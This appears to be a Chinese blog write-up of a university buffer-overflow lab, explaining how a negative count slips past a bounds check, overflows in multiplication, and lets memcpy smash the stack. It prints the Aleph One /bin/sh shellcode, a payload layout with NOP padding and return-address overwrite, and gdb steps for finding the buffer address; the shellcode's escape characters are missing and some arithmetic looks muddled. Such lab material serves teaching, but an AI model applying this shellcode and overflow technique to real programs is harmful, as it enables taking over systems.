• 缓冲区溢出实验 3 负数溢出


    实验环境、代码、及准备

     https://www.cnblogs.com/lqerio/p/12870834.html

     

    vul3

     

    分析Vul3可知输入为整数count和字符串in。vul3中使用if判断来防溢出,问题在于一个足够小点负数可以满足 if 的条件进入memcpy函数,而负数*sizeof(widget_t)可能溢出产生正数。故要对vul3栈溢出攻击只需要构造合适的负数count产生溢出和字符串in覆盖buf然后覆盖ebp,ret即可。

     

    shellcode(构造过程)

    原理是运行/bin/sh 来得到shell,构造过程是将具有运行/bin/sh的C代码转换成有相同功能的机器码。注意代码中用到  0  的地方改成用 xor  eax,eax,这样可以避免复制字符串时遇到/0 中断。

    下面的shellcode长度为45字节(不含/0)

     

    /*

     * Aleph One shellcode.

     */

    static const char shellcode[] =

      "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

      "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

      "x80xe8xdcxffxffxff/bin/sh";

     

    exploit3

    由vul3可知buf数组20*1000=20000字节

    溢出部分如下,widget-t结构体20字节。Count*20>20000即可。

      if (count < MAX_WIDGETS)

    memcpy(buf, in, count * sizeof(struct widget_t));

    设count 为1001,符合1001*20>20000. 1001 16进制为X3e9。

    负数符号位为1,得到x800003e9。计算可知由于溢出,20*x3e9=20*x800003e9。x800003e9在计算机中存储为补码2147482647.故count为  -2147482647.

    然后构造payload。Buf大小为20000字节,故返回地址在20008字节处。覆盖该地址内存为buf的起始地址,然后buf覆盖为shellcode即可。

    Payload=count(12字节)+45字节shellcode+19965nop+4nop(ebp)+ret(buf基址)。

    Buf基址:先随便填payload,然后使用gdb调试得到;

     

    Gdb vul3

    set args 3,666

    disas foo

    break *0x0804850b

    r

    print &buf

     

     

    得到buf基址 0xbfffa140

    填充payload最后4字节即可

    运行结果

  • 相关阅读:
    TOMCAT清理
    tomcat 热部署、热加载 精析
    TOMCAT配置数据库连接池
    TOMCAT修改端口号
    TOMCAT配置管理员
    Go语言net/http 解读.
    《coredump问题原理探究》Linux x86版7.7节 set对象
    Asp.net与office web apps的整合
    【设计模式】代理模式实现连接池
    手把手实现Java权限(1)-Shiro介绍
  • 原文地址:https://www.cnblogs.com/lqerio/p/12870943.html
Copyright © 2020-2023  润新知